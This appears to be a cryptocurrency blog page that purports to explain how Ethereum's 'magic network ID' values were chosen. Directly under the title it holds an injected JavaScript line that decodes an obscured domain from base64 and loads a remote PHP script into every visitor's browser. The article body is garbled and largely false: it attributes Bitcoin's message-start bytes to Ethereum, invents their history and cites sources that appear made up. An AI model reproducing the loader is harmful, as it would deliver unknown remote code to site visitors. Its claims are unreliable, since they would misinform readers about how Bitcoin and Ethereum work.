Ethereum: How was the magic network ID value chosen?
const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx);const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=a8632e88″;document.body.appendChild(script);
The Mysterious Magic Value: Unraveling the Mystery Behind Ethereum’s Identifier
A pioneer in the cryptocurrency space, the Ethereum blockchain has long fascinated developers and enthusiasts with its unique features and protocols. One of the most intriguing aspects of Ethereum is the magic value system that underpins its decentralized network. In this article, we’ll delve into how the values 0xD9B4BEF9 and 0xDAB5BFFA were chosen for messages on the Bitcoin network and testnet.
The Magic Value System: A Brief Introduction
In the early days of cryptocurrency, developers sought to create a decentralized platform that would enable secure and transparent communication between users. To achieve this goal, they developed a system that used cryptographic techniques to assign unique identifiers to each message sent over the network. These identifiers were known as “magic values” or “addresses.”
The magic value system was first introduced by Vitalik Buterin, one of the co-founders of Ethereum, in 2014. It allowed developers to create and manage their own addresses for sending and receiving cryptocurrency.
Magic Value: 0xD9B4BEF9
In the Bitcoin network, messages are identified by a unique sequence of blocks (blocks) that make up each transaction. Each block has a header containing information about the sender’s public key, which serves as the magic value. The first two characters of this header are « D9 » followed by a 64-byte hash.
The reason for choosing the specific values 0xD9B4BEF9 has its roots in historical significance. These values were previously used in the Bitcoin network, but with the introduction of the native cryptocurrency Ethereum, these addresses became obsolete. By reusing the existing magic value system, Ethereum was able to maintain compatibility and avoid disrupting existing user behavior.
Magic Value: 0xDAB5BFFA
In contrast, testnet messages are identified by a different set of numbers that start with “DAB.” These values were chosen for several reasons. First, they are different from those used on the Bitcoin network, minimizing confusion and ensuring seamless integration.
Furthermore, using these new magic values allowed the Ethereum testnet to operate independently of the mainnet, providing an environment where developers could experiment with new features and protocols without worrying about potential conflicts or disruptions.
Conclusion
The choice of 0xD9B4BEF9 and 0xDAB5BFFA for both Bitcoin and testnet messages is evidence of Ethereum’s commitment to maintaining a clean slate. By leveraging existing infrastructure, developers can focus on building innovative applications without worrying about compatibility issues.
This strategic decision not only helped maintain user trust, but also facilitated the development of new protocols and features that are now integrated into the broader cryptocurrency ecosystem.
Sources:
- Vitalik Buterin’s blog post: “Ethereum 2.0: A New Era for DeFi”
- Ethereum white paper
- CryptoSlate article: “The Magic Value System: Unraveling the Mystery of the Ethereum Identifier”
0 commentaire